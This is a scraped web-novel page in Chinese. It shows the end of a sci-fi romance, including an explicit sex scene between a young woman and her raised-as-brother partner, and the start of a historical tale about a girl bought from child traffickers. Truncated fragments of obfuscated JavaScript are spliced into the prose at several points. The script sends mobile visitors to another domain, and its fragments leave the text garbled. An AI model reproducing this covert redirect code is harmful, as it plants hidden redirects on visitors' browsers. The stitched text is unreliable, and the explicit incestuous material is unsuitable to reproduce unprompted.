d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130393|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指用力捏了一下梁意的手,示意他看。 梁意转过头,整个人愣住。 眼前是震撼到令人失语的壮丽景观。 一个非常巨大的溶洞出现在他眼前。 L708特有的矿石形成了颜色瑰丽的钟乳石,倒挂在洞顶,下方是犹如定格瀑布一般的石笋,与钟乳石相对而立,似针锋相对,又似互相守卫。 溶洞顶端是一个非常大规模的石瀑布,水流狂奔而下,落入溶洞湖。 他呆愣间,耳边万籁俱寂的环境忽然有了声音,方才没有一丝声响的溶洞忽然响起水流的奔腾之声。 虽然声音很大,但这么大的瀑布绝对不止这点响动。 梁意看向梁翘,梁翘凑近他耳边:“这里有声音屏蔽设备,我刚刚开了,只留这点声音好不好?不然都听不见我说话了。” 梁意人都傻了,下意识点头。 就在瀑布的水流下方,一个爱心型的石幕矗立不动,他们俩就站在这个爱心的下方。 梁翘握住他的手,深吸一口气。 “哥,梁意,我喜欢你,我爱你,你愿意和我成为伴侣吗?” 她居然有些紧张,隔着特制的防护服和氧气面罩,梁翘一眨不眨地看着梁意。 “我听说L708有个天生地长的爱心,在这里牵手的情侣都能得到幸福,”梁翘咽下语气中的那丝颤抖,十分郑重地说完接下来的话,“你知道,我不太相信这些,但一想到这种虚幻的祝福是出现在我们之间,我就忍不住想要带你来。我想和你永远在一起,我希望我们能幸福。” 梁意被她握住的指尖颤动不已,他没想到,更没料到是这样的一场约会。 汹涌的情绪直冲大脑,梁意分辨不清,只知道自己现在急需一个发泄的路径。 他向前一步,紧紧抱住梁翘,眼圈通红,嗓子沙哑,张开嘴唇却说不出来话,好一会儿才缓过来。 梁翘一直搂着他,手掌抚着他的背,让他缓过这阵儿。 “……翘翘,我爱你,我会永远爱你。”他声音哽咽,语不成调,抬起头认真看向梁翘,只差发誓,“我们会永远在一起,我们会幸福。” 防护服和面罩还是太碍事了。 互通心意之后,梁翘等不及再慢悠悠的走回去,跟消失了半天又回来的讲解员说了一声,L708专用的悬浮车就开过来接他们。 来的时候几乎花了一整天,但坐在车上,大概半小时就到他们的房间了。 一进房门,梁翘就大力扯下了梁意脸上的面罩,狠狠吻了上去。 休息了一天一夜,梁意的嘴唇已经恢复正常,但咬破又愈合的唇肉非常敏感,只是亲了一下而已,他就感觉浑身发热,站立不稳。 天旋地转间,他已经被梁翘压\在了床上,衣服都被扒得差不多了。 他这个时候居然还有空想了一下,这种防护服这么难穿,也不知道翘翘是怎么脱得这么快的 “哥,”梁翘艰难地把舌头从他嘴里退出来,一只手还摸在梁意的腰腹处摩挲,“你知道我想做什么,可以吗?” 梁意追着她说话时张合的嘴唇,神色迷离,胡乱点了点头。 梁翘俯身亲过去,她知道梁意准备了,就放在他的空间钮里面。 她口齿不清地让梁意把东西拿出来。 梁意迷迷瞪瞪间,什么都听她的。 冷白的皮肤渐渐出现艳色的痕迹,室内温度正好,但梁意燥热异常,没多久就手脚无力地彻底放松了下去, 猎物已经落入网中,猎人开始不紧不慢地收拢。 梁意大脑一片空白,只知道紧紧攀附着掌控自己的人,但实在没有力气,坚持不了多久。 “哥,你喜欢吗?”梁翘使坏,这种时候还在问他,却没给他留下回答的机会。 梁意双眼睁着,却毫无神智,一脸坏了的表情。 猎人很有耐心,已经到手的猎物怎么吃都可以。 她又问了许多遍,直到梁意听清。 梁意的身体随着她的动作晃动,他勉强聚起几分力气,艰难回答:“喜……喜欢,喜欢翘翘……翘翘做什么……都喜欢……” 真是不妙,梁翘面无表情地想。 梁意实在太好吃了,她完全停不下来。 18. 结局 蓝星人的基因病问题并不是简单的身体结合就能够解决的,需要双方都打开自己的精神海互相融合。 梁翘在生理课上学到这一节的时候跟身边的江骄阳吐槽,他们又用不了精神力,精神海倒是说开就能开了,听起来像是为了繁.衍而搞出来的花样。 江骄阳当时笑她,说这种事情没有经历过的人是不会懂的,光听老师讲什么“双方自愿”“互相信任”“绑定与融合”什么的当然理解不了。 梁翘那时候确实不理解,讲得不清不楚玄之又玄的,谁能听懂。 但真的到了这会儿,才发现确实如此。 确实是不清不楚玄之又玄的发生了。 梁意被她压着折腾了半个晚上,后半程就已经忍不住求她,生理性的眼泪止不住地流,一层水光覆盖在他身上,温凉的肌肤手感极好。 他一只手无力地去拉她,嗓音颤抖,“翘翘……可以了,好不好,下次……下次再……” 18岁的女高精力无穷,两只手还放在该放的地方,动作不停。 见梁意还想拒绝,她又吻上去,堵住剩下的话。 “哥,小意,宝宝,”她舔舐着梁意红肿的嘴唇,在男人张开想要迎合时又后撤,不让他如意,“等一会儿,喜欢你……喜欢这样……” 梁意的黑发被汗水浸湿,耷拉在额头上,眼睛半睁不睁地含着一泡眼泪,急促的呼吸打在梁翘耳边。 “哥,你……”梁翘吃得心满意足,下意识地想说点什么话哄哄他,但忽然脑中闪过一丝异样的情绪。 精神海的结合……如果双方自愿,互相信任,此刻他们可以完成精神海的绑定与融合。 她略微抬起头,看向梁意。 “我爱你,哥。” 梁意有气无力地,他眼中的情绪分明,梁翘已经不需要再问了。 “我也爱你,翘翘。” 她低头和他接吻。 …… 胡闹过头的后果就是第二天两个人都起晚了。 梁翘睁眼的时候已经中午了,梁意还睡着。 她窝在梁意胸口,大脑还没清醒,下意识咬了一口含在嘴里的东西。 没轻没重的,梁意“嘶”得一声往后躲,她才松嘴醒过来。 饿醒的,怪不得嘴里有东西就咬了。 梁翘没想吵醒梁意,但她起床之后梁意没过多久也醒了。 他眼神躲闪,不跟梁翘对视,姿势僵硬地挪下床,去盥洗室洗漱。 “哥,你想吃什么啊?” 梁翘知道他脸皮薄,没再逗他,准备点餐。 “都可以。” 梁翘选了几样他们喜欢吃的东西,这里的食材都是从蓝星运过来的,没有特色美食,所以也没什么好挑的。 吃完不知道是早饭还是午饭的一顿,她给梁意身上比较重的痕迹上了点药。 “哥,咱们还去逛吗?”梁翘看他实在是浑身僵硬,好心地提出建议,“要不今天就在这歇着吧,咱俩找个电影看看,反正也不急。” 梁意抿着嘴唇,眉头轻皱,不太愿意因为自己耽误他们度假的时间。 “刚好我也有点累了,不出去逛了好不好。”梁翘朝他撒娇,手还放在梁意的腰上摩挲。 梁意不会拒绝她。 于是下午的行程自然而然地改成了室内看电影。 梁翘也不单纯是为了哄他,铁打的女高干了半个晚上的体力活也该累了。 两人躺在床上找了一个温馨搞笑向的电影看,气氛美好,在小型溶洞湖的水流声与电影的背景声中亲了一会儿,双双睡了过去。 再睁眼的时候梁翘又是被饿醒的。 这次情况比较正常,她没有去咬梁意了。 看了一下时间,凌晨三点。 梁翘在躺下再睡个回笼觉和起床叫个早饭之间纠结了一会,但再睡实在是睡不着了,便决定起床吃饭。 “翘翘,你醒了,饿不饿?” 头顶传来梁意的声音。 梁翘撑起身看他,梁意神色清明,没有丝毫困意,看起来已经醒了一段时间了。 “你醒了怎么不喊我,有点饿了。” “怕你没睡够。”梁意摸了摸她的脑袋。 “起床吃早饭,我们去地面看日出吧?” “日出?”梁意有些疑惑,“这里可以看日出吗?” 梁翘狠狠点头,这是她刚刚才想起来的。 L708的日出时间比蓝星要晚一点,大概八点钟左右,只需要穿戴好设备就可以去专门的观景台看日出,时间还来得及。 睡了差不多两个晚上,两个人都精神饱满,神采奕奕。 吃完饭之后,他们联系酒店,申请设备去观景台看日出。 L708的地面在夜晚会被一片白茫茫类似于雾气的物质笼罩,直到日出才会消失。 等到一切准备完成,时间也差不多到了。知道L708日出服务的客人不算多,观景台除了他们俩只有两个工作人员在后面守着。 梁翘握着梁意的手,两个人倚靠在休闲椅上等待。 八点左右,天际线一点点亮起来,雾气渐渐变淡。 只是一瞬间,霞光万道,旭日东升。 比蓝星看起来大许多的太阳从地平线上升起,熔金的光辉洒在两人脸上。 梁翘怔怔看着,心中汹涌的情感喷薄欲出,美到极致的自然景观让她很想做点什么宣泄一下。 扭头去看梁意,梁意也在看她。 防护服和面罩还是太碍事了…… 他们在观景台坐了很久,直到太阳完全升起才手牵手回到地底。 过了那阵子之后,想要亲密的冲动也消下去了,梁翘把自己的打算压在心底,准备晚上再实施。 看过矿石溶洞,他们又去看这里超大的地下河和溶洞湖。 站在溶洞湖边,梁翘一脸认真,道:“哥,我想游泳。” 梁意看了一眼水流遄急的地下河,又看了一眼深不见底的溶洞湖,十分为难:“翘翘,这里不能脱防护服和氧气罩的。” 她理直气壮:“那怎么办,我就是很想游。” “回去游可以吗?咱们房间也有一个小湖。” 正中下怀,但梁翘面上仍然不太乐意,小声嘟囔:“那个太小了,我自己游一点都不好玩。” 负责任的哥哥没有多想,立马想出解决办法。 “我和你一起,要是觉得不好玩,咱们可以比赛。” 梁翘笑眯眯地答应下来,拉着他的手就要回去。 直到站在小湖旁边,妹妹催着他换衣服,梁意才后知后觉地反应过来。 但是答应了也不能反悔,他红着脸换上泳裤,慢吞吞地进去。 虽然是一个小型的溶洞湖,但毕竟是在房间里,湖里的尖锐边角都被磨平,没有会伤到的地方。 他不太敢抬头,梁翘的泳衣是他亲手收拾好装进空间钮的,但此刻被梁翘穿在身上,他完全不好意思直视。 梁翘没有他那么多顾忌,畅快的游了两圈之后,划到假装石头的哥哥旁边揶揄:“不是说要跟我比赛吗,哥,怎么不动啊?” “我比不过你……” “还没比怎么知道比不过?”梁翘一只手搭上他的肩膀,用力捏了捏,“你是不是故意让着我,我要生气了。” 梁意摇头否认,低声道:“不是……那我们现在就比。” 他抬起头,视线虚虚地落在远处,还是不敢看一旁的梁翘,身体往前游动了一下,想要和她比赛。 但梁翘没动,还把他游出去一点的身体拉回来摁在湖边的石壁上。 酒店的安全防护工作做得非常好,湖边的水深只有一米多,石头磨得很光滑,不会受伤。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130394|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 梁意身上还有些上次遗留下来的红痕,清澈的水流随着人体的晃动时不时打在他身上,风景十分美好。 “我又没说要比游泳。”梁翘笑眯眯地游过去贴住他。 梁意唇瓣翕动,最终什么都没说,任由她动作。 因为水流的原因,梁意身上哪里摸起来都滑溜溜的,梁翘觉得不太好使劲,压得越发用力。 “咬自己干嘛,”梁翘贴上去亲他,“宝宝,你不喜欢吗?” 梁意刚张开嘴就被舔了他半天的舌尖侵入,缠着不让他说话,接吻时的声响混合着底下的水流声十分涩情。 “别,别喊我宝宝。”他紧闭着眼睛,在唇齿相缠的间隙中艰难开口。 “那叫你什么?哥哥,小意?” 梁翘一脸坏笑,故意凑到他耳边喊出另一个称呼:“老公?” 底下的人听到这两个字反应大到梁翘险些没摁住,他惊慌地睁开眼睛,“不行,不,不要这样喊……唔……” 他的话语被梁翘故意加大的力道打断。 “叫老公也不行,叫宝宝也不行,你怎么这么不听话。” 梁意摇头,凑上去亲她,求饶。 精神海结合过之后所带来的体验有所变化,身下的湖与脑中的海同时晃动起来。 水波的起伏越来越剧烈,从最初的轻晃变成了明显的翻涌,涟漪层层叠叠向外推展,渐渐演变成此起彼伏的浪涛。 刚恢复一点的身体又添上了新的痕迹。 * 他们在L708待了7天。 给家人朋友带了满满两空间钮的伴手礼才启程回家。 邓一瞿她们对L708上的心形石墓与壮丽日出很感兴趣,看了梁翘拍回的照片,表示自己也一定要过来玩一次。 对此,梁翘很不客气的吐槽:“你自己要来玩,要我给你带这么多东西回去干什么。” 邓一瞿理直气壮,“你就说愿不愿意给我买吧。” 梁翘无言以对,两人带着快塞满的空间钮回了家。 提前告知了星舰落地的时间,他们走出出舰口之后就看见了母父。 去的时候梁青澄没送,回来的时候倒是来接了。 她一脸淡定,见梁翘脸不红心不跳地握着梁意的手就过来了,很是平静地问:“你们准备什么时候去变更关系?” 梁意被这句话吓得差点呛住,一脸呆滞地看着他妈。 “你哥是你的伴生蛋,既然已经决定了,就早点安排吧。” 梁青澄面不改色。她了解梁翘,就算她不主动问,梁翘也会到家之后腻腻歪歪地蹭过来,暗示她自己想跟梁意去变更关系了。 “明天吧,今天来不及做造型了。” “行,明天我有事,就不过去了。” “不用你们去,我和哥哥自己去就可以了。” 母女俩你一言我一语地定了下来。 到家之后,一家人坐在一起吃过晚饭,梁翘光明正大地拉着梁意进了他的房间。 梁意很不好意思,妈妈和爸爸还在客厅坐着呢,怎么能就这么…… “哥,我没问你就说明天去变更关系,你不会怪我吧?” 原来是因为这个,梁意马上摇头:“不会的,你想什么时候去都可以。” 梁翘拉着他坐在沙发上,黏糊在他身上咬耳朵。 “你怎么什么都听我的呀?” “因为我爱你,翘翘。” 梁翘看着梁意坦然的神色,男人通红的耳尖掩盖在黑发下,但她看得一清二楚。 “错了,哥哥,不是因为这个。” 她一脸严肃地否定。 梁意一怔,“那是因为什么?” 她靠过去,缠着梁意接了一个长长的吻。 “因为你是我的,从出生的时候就注定属于我。” END. 19. 买下 街上的人行色匆匆,每个人都低着头沿着墙根走,往日热闹的地方此时冷清得像是死城。 乌霜雪穿着一身粗麻交领右衽深衣,匆匆往家赶去。 她手中挎着一个篮子,上面盖了一片布,看不清底下的东西。 家中有个孩子,哪怕只是出来一会儿,也不太放心。她紧皱眉头,用眼角余光打量城中景象,每个人都像她这样匆忙。 他们这儿只是个偏远的小城,前两月还好,外边虽然战乱,也不太影响这里。但自从燕国国都被攻破的消息传来之后,连这点宁静也保不住了。 大概五年前开始,因王朝统治腐朽,外忧内患一起来,许多地方都开始起事,百姓日子过不安生,不知要熬到什么时候才能太平。 乌霜雪家原也在国都附近,有个不错的营生,家中亲人和睦,生活惬意。 现在只剩她和一个6岁的孩子,年前忽然搬回云城,原来那些邻居大多已经不认识她了,只是云城民风淳朴,他们日子倒也过得还行。 结果还没安生半年,云城也乱了。 乌霜雪一脸冷凝,在心中寻思着要不要趁早搬回村中老宅,那地方人少偏僻,应该波及不到。 一阵喧闹声吸引了她的注意力。 “……什么东西都行,有瞧得上的……您直接带走。” 几个体格高壮,脸上蒙着粗布的男人站在不远处的巷口招呼路过的行人,身后隐约看见几个半大孩子。 原来是人牙子。 现在这光景,连自己都快养不活,她不可能再去买个下人回来。况且人牙子手上不知是哪来的人,捡来的、抢来的都有可能。 扭过头不再看,乌霜雪脚步不停,就要路过,却被人喊住。 “这位夫人,我们这什么货都有,出价就得。您来挑挑?” 乌霜雪顿住,心中不知想了些什么,她又踱步过去,并不往里进,就站在外边看了一眼。 一旁还有个衣着还算齐整的中年女子也在相看,她应该家中条件不错,整身衣服看不见一个补丁。 巷子里有十多个孩子,或站或靠,每个看起来都病恹恹的,脸色蜡黄,浑身破烂。 “这些看起来也不像是能干活的,”中年女人有些犹豫,她的视线在那几个看着大些的孩子身上打转,“领回去不能干活可不行。” 领头的男人立马扯过一个看着十二三的女孩,粗鲁地将她的手扯出来让人看看根骨,又让她张开嘴给女人检查,“夫人,您看看,只是饿了几天,一点毛病都没有,买回去就能干活了,我这要价也不贵,您看着给就成。” 中年女人仔细看了看,女孩被扯得身形晃动,难以站立。 乌霜雪没说话,这个女孩如果能被买下,其实是一件好事。 她的目光朝里看过去,剩下的孩子一片沉默,既不动作,也不抬头,脸都看不清。 中年女人和领头的男人还在看那个孩子,顺便讨价还价,说是看着给,给少了也不行。 乌霜雪抬脚往里面走,凑近他们打量着。 一个靠在角落的女孩引起了她的注意。 这个孩子看起来不大,约莫10岁上下,紧闭着眼睛躺在那。她小小的脸庞满是脏污,看不清五官,穿着一件单薄的麻衣,裤腿还短了一截,脚上没穿鞋,看着很是凄惨。 这不是吸引乌霜雪的原因,每个孩子看着都这么惨。 这个女孩掌心朝上耷拉在地上,掌心和指尖除了脏污之外还有薄茧。 乌霜雪会武,看得出来,这个孩子应该也是从小练过武功的,虽然不知道水平,但应该有不错的基础。 原本只是随便看看,这下真的有点想买了。 见她一直盯着那女孩,一个男人凑上来讨好地笑:“夫人,这个丫头可不错,力气大,虽然年纪小了点,但是一点不比那些大孩子差。” 乌霜雪神色冷淡,似乎只是随便问问。 “怎么买?” 男人觑着她的神色,不敢含糊过去,小心报了个价。 乌霜雪没说话,扭头就要走。 那个还在还价的中年女人见她要走,心中本就还在摇摆的天平马上倒向不买的那边,作势也要跟她一块走。 “……救……救我……求求……求你……” 极轻的声响传入耳中,乌霜雪停住,看过去。 是那个刚刚还在昏迷的女孩,眼睛睁着一条细缝看她,嘴唇翕动,如果不是她耳力过人,怕是听不见这点呓语。 其他人没听见,那些男人见她停住,还在劝她:“您现在买,半大孩子买回去就能干活了,也便宜,您别急着走,往日可都没有这价。” “我没有钱,只带了一袋玉米,行不行?” 她翻出篮子里的一小袋玉米粒,一脸冷淡地看过去,仿佛只是随意问问。 那些男人看着小袋玉米,半晌无言。 领头人看看她手中的玉米,又看看身后半死不活不知道什么时候就折了的女孩,脸一抹就挂上笑:“今儿跟您有缘,哎哟,玉米就玉米吧,那她就归您了,现在就能带走。” 说着走过去,粗暴地把女孩拉起来就往乌霜雪身前塞。 乌霜雪一只手稳稳搂住她,另一只手把玉米拿过去,银货两讫。 她搂着这个孩子往家里走过去,她身后,中年女人也如愿用极低的价格买回了那个女孩。 巷子里剩下的孩子还畏缩在墙角,男人们继续吆喝着。 乱世之中,她没有能力周全太多人,只能顾好自己。 乌霜雪带着新买来的孩子走了将近一刻钟,走到一个两进的小院子。 这是家中情境还不错时在云城的置业,那时父母想着晚年回到云城养老,这房子买的是宽敞又舒服。 只是他们没福气住上,只剩乌霜雪带着孩子落脚于此。 进了大门,哪怕还没到后院,也已经能听到院子里小孩子的笑声。 乌轻轻今年六岁,性格活泼开朗,哪怕没有玩伴,一个人也能玩得开心。 过垂花门之后,正在院子榕树底下堆石头的小孩听见声响,仰头扬起一个惊喜的笑。 他甩开手里的石头,兴冲冲地跑过去。 “娘,你回来啦……咦,这是谁?” “轻轻,以后这个姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130395|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐就跟咱们住在一起,和你一起玩,好吗?” 乌霜雪一脸温柔地摸了摸男孩的脑袋,在外人面前伪装出的冷漠强势消失不见。 她搂着怀里的女孩朝西厢房走过去,这个孩子身体实在是太弱了,她摸过脉,底子很好,只是有些虚弱,饿晕了。 “姐姐?是像冬竹姐姐她们那样的姐姐吗?” 乌轻轻跟在她旁边,一脸好奇的去看女孩的脸,黑黑的,什么也看不清。 乌霜雪沉吟片刻。 冬竹是以前他们家的丫鬟,时间没过去多久,乌轻轻还记着。 丫鬟与主子……这不是她买下这个孩子的目的。 “不是的,这个姐姐不一样。”她摇头。 西厢的房门关着,乌轻轻小跑到她们前头推门,憋红了一张小脸,乌霜雪在他身后伸手帮他。 “哪里不一样呀,这个姐姐怎么黑黑的,她的衣服好脏呀。” 小小的孩子不懂那么多,他看乌霜雪把人放在床边的榻上,他也蹬开鞋子爬上去,睁大眼睛看着新来的姐姐。 乌霜雪安置好这个孩子,准备去给她拿些衣服,再给她洗漱一下。 “轻轻,给你一个任务,在这里看着这个姐姐,娘去烧水,如果姐姐醒了,你就来厨房喊我,好吗?” 乌轻轻一脸严肃认真的保证下来,捏紧拳头,看着女孩一动不动。 等到乌霜雪离开西厢之后,乌轻轻原本非常认真的样子,誓要完成娘亲的任务,但坐了会儿,感觉腿上痒痒的,他没忍住动了一下。 又感觉脑袋上好像有东西,他伸手挠了挠,抓下来一片树叶。 叶子的顶端缺了一角,他玩了一会,注意力又被躺着的人吸引。 这个姐姐真的好黑呀。 乌轻轻拿起那片叶子,在她脸上戳弄着。 躺着的人眼皮动了动,乌轻轻被吓了一跳,收回手,愣愣地看着她。 燕谨隐约知道自己被人买走了,但她实在太虚弱了,再有意识的时候只感觉自己躺着,脸上有什么东西在动,她被那种模糊的痒意唤醒。 睁开眼,一个小孩坐在她旁边,手上捏着一片叶子,圆圆的眼睛盯着她,看着有些心虚。 “……这是哪里。” 黑黑的姐姐问他。 乌轻轻看她没有因为被自己吵醒而生气,立马放松起来,一脸天真:“这是我家,我是轻轻,娘说你是姐姐。” 燕谨艰难地转头看了一圈,这是一个很空旷的房间,没什么装饰,也什么都看不出来。 “……是你娘买了我?”她问眼前的小孩。 乌轻轻一脸疑惑,他对于“买”的概念不多,买衣服,买零食,买礼物。 姐姐也是可以买来的吗? “姐姐也可以买吗?” 不懂的事情就要问,这是娘教他的。 燕谨没再说话,这个小孩什么也不懂,她实在虚弱,再问只是浪费她的体力。 乌轻轻看她不理自己,嘴一撇,哼了一声,动作利索地爬下塌,胡乱趿着鞋子跑出去。 “娘,我不要姐姐!这个黑黑的人醒了。” 20. 收养 燕谨躺在床上,凝神去听外头的动静。 那个小孩不知跑到哪里去喊了人来,两道脚步声朝她这里走过来,一个女声和童声正在交谈,距离有些远,她听不清。 燕谨有些紧张,但心中越是紧张,她面上越是冷淡。 “……她都不理我,哼。” “轻轻,姐姐现在身体不舒服。” “我才不要姐姐呢。” 一大一小两道人影走进房间,他们的交谈声不算太大,距离渐渐近到可以被捕捉听清他们交谈的内容。 燕谨抬眸看过去,那是一个看起来有些清瘦高挑的女子,眉眼间满是温柔,低声哄着一旁的小孩,手中还拿着一碗水。 这大概就是买下她的人了。 燕谨想要起身,被快走两步过来的乌霜雪摁下。 “先喝点水吧,我给你煮了点米粥,还没有好。” 燕谨顿了顿,没有拒绝,顺着她的动作喝下碗中的温水。 “夫人,我……” 乌霜雪打断她的话语,嗓音轻柔地说:“不急着说什么,你先歇一会,喝完粥洗个澡好好休息,明天我们再说这些。” 一旁的乌轻轻扒在她们俩身旁,好奇的大眼睛转来转去,听见娘亲的话,顺嘴应和:“是呀,还是洗个澡吧,你现在太黑了。” 这是个很温柔细致的夫人,燕谨做出判断。 她做主买下了自己,身旁只有一个孩子喊她娘亲,没见任何丫鬟仆人,烧水煮粥也是她自己在厨房准备的,看起来似乎有些清贫。 她躺着的房间空旷不见装饰,却很大,虽一看就不是主人的正屋,但能拿来给她这个满身脏污的人落脚,家中底蕴似乎尚可。 一对家境不错,但不知道为何过得清贫的两母子。 燕谨没再多说,她确实需要好好休息,点头应承下来。 乌轻轻见她又没理自己,生了会气,但他是一个聪明的孩子,能够理解大人讲述的话语。 还是等这个人身体舒服了再来找她吧,看她睡觉很无聊。 乌轻轻蹬蹬跑出去,到院子里玩石头。 乌霜雪去厨房给她拿了粥过来,里面竟还有些切得细碎的肉丝,燕谨喝完之后,躺着睡了半日。 待到晚间,乌霜雪又端过来碗肉丝粥让燕谨喝下。 趁燕谨喝粥的间隙,她单手拿着一个大浴桶进屋,又往里倒了几桶水。 燕谨休息半日,腹中有了食物,体力已经恢复许多。 她赶紧下来帮忙,但乌霜雪力气大,用不着一个小孩干这些活,温柔坚定地让她站在一旁等待。 “我拿了我以前穿的衣服过来,可能有些大,你先洗个澡,明日咱们再谈。” 言罢便转身离开。 燕谨伫立半晌,默默褪下衣物,洗净脸上、身上刻意涂抹上去的烟灰与草泥,换好衣物,慢慢把脏水用桶倒出去。 正屋的灯还浅浅亮着,隐约听见房内两母子的说话声,燕谨看了片刻,转身回到西厢。 乌霜雪下午拿了被褥进来,燕谨不会再委屈自己睡在榻上,她爬上床,沉沉睡去。 第二天一早,嘎吱响起的推门声惊醒了燕谨。 她冷不丁睁开眼睛,眼中还有未散去的噩梦痕迹,扭头去看门口。 一个小小的身影背着手走进来,姿态十分大方。 他大摇大摆地走近燕谨睡的榻边,拿腔捏调地说:“你怎么比我起得还晚,我要向娘亲告你的……” 乌轻轻被榻上刚醒的人惊住,下马威的话也咽进肚里。 “你是昨天那个人吗,”他好奇地凑过来,几乎趴在燕谨跟前看她,“你洗了澡之后怎么变得这么白?和昨天一点都不像。” 燕谨有些不自在,但神色未变,一步不退,任由他打量。 门外传来乌霜雪的声音:“轻轻,姐姐要是醒了就喊她出来洗漱吃饭。” 乌轻轻面对她有些别扭,不肯称呼她为姐姐,就因为昨天燕谨身体虚弱,没有理他。 “你醒了,娘喊你吃饭。” 轻哼一声,小孩甩甩辫子,又跑了出去。 燕谨起身下床,拿起昨夜衣服上破烂的布条绑了头发便走出去。 乌霜雪正在厨房忙活,见她出来怔了一瞬,没想到昨日带回来的女孩收拾齐整之后看起来如此过人。 她穿着一身旧衣服,将将10岁的单薄身体并不能完全将衣服撑起来,显得有点空荡。但她腰背挺直,神色自若,毫不为今日处境所羞愧尴尬。 这女孩年纪虽小,但五官端丽,十分有气势,可见不凡。 只是一瞬,乌霜雪就招呼道:“前院有井,洗漱好了就过来吃饭吧。” 昨日半昏迷着进来,晚上倒水时天黑,什么也瞧不清,到现在燕谨才瞧见这院子的全貌。 这是个两进的院子,坐北朝南,十分宽敞。能看出院子主人是精心修缮过的,院中有树,廊下有花,青砖地面,朱漆大门。 燕谨面不改色地往前院去,这院子里当真只住了母子两人,十分稀奇。 吃饭的地方在正房的堂屋,燕谨过去的时候,那一大一小已经坐好了,正在等她。 燕谨快走两步过去,没有落座,而是站立在一旁,等待乌霜雪的吩咐。 “坐吧,”乌霜雪给她盛了一碗粥,“我不是要你来做丫鬟的。” 燕谨顺从坐下,见乌霜雪已经开始吃饭,也不再言语。 寄人篱下,救命之恩,她昨夜已有自觉。 乌轻轻吃得开心,他吃过饭就跑出去玩,乌霜雪给他折了一个草蚂蚱,现在正是新鲜的时候。 确认燕谨也吃饱之后,乌霜雪才放下筷子,将自己的打算告知。 “你不用不自在,我虽然把你带回来,也只不过花了一袋玉米,算不得什么。”乌霜雪眉眼轻柔,语气十分温和,“你也看到了,我家中只有两人,不需要丫鬟仆人,且近日我也打算回到乡下老家,更是用不着这些。” 燕谨静静地聆听,知道接下来的话才是这位夫人的目的。 “乱世之中,我只想周全自己与孩子。昨日我看你掌中有茧,知道你是练过武的。恰巧,我家中以前是做镖局营生,年轻时我也护过镖,走过江湖。你若愿意,我可以教你。” “我希望你能够庇佑轻轻,跟着他保护他,未来情形不定,我只放不下这个孩子。” “我不希望你只当一个护卫,护卫仅仅是护卫,那不是我想要的,”乌霜雪凝视着眼前半分处变不惊的女孩,“我需要你入我家户籍,以养女的身份。” 养女,其实就是童养媳。 幼时将户籍并入夫家,待成婚后便会变更为儿媳。 燕谨没有说话。 “我不勉强你,也不想过问你的曾经。如果你不愿意,就当我是做了一件善事,吃完这顿饭可以离开,厨房还有些干粮,我再给你拿身衣裳,多的,我也没有了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130396|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>乌霜雪是昨夜才想好这件事。 说她自私也好,别得也罢,她得为自己的孩子考虑。 当然,这件事如果不是心甘情愿,她也不会勉强,救人一命胜造七级浮屠,这也够了。 燕谨面上冷静,桌底下的双手紧握成拳,轻轻颤抖。 良久,她哑着声音回答:“我愿意,夫人。” 她早已无处可去。 乌霜雪伸手摸了摸她的脑袋,再冷静,这也这是个孩子。 “不要怕。” “你叫什么名字?” 燕谨轻声答出昨夜想好的答案:“叶谨。” 燕国已破,燕氏已绝。 从此以后,她就是叶谨了。 * 云城的风声越来越紧了,街上人烟稀少,家家户户大门紧闭。 乌霜雪拎着篮子回到家,院子里两个孩子正在玩闹。 准确地说,是乌轻轻单方面的闹燕谨。 他对这个凭空出现的“姐姐”十分好奇,但燕谨生性冷淡,不爱与他玩闹,也不像以前的冬竹姐姐她们那样哄着自己。 娘亲说这个姐姐不一样,以后就是他们的家人。 家人是什么意思乌轻轻明白,故而乌轻轻虽然不太开心燕谨总是不理睬自己,但对她到底多了几分依赖。 燕谨每日跟乌霜雪练两个时辰的功夫,乌霜雪出门时她就自己练着,或者看些乌霜雪带回来的书,偶尔在乌轻轻有什么问题时去替他解决,两人相处算是和谐。 “姐姐,你能不能给我编一个笼子?” 乌轻轻把玩的手里的稻草蚂蚱,被他玩了几天,已经有些散架了。 燕谨看了一眼,摇头:“我不会做,等会娘回来了,我问她教我。” 既然是养女,燕谨当日就已经改口了。 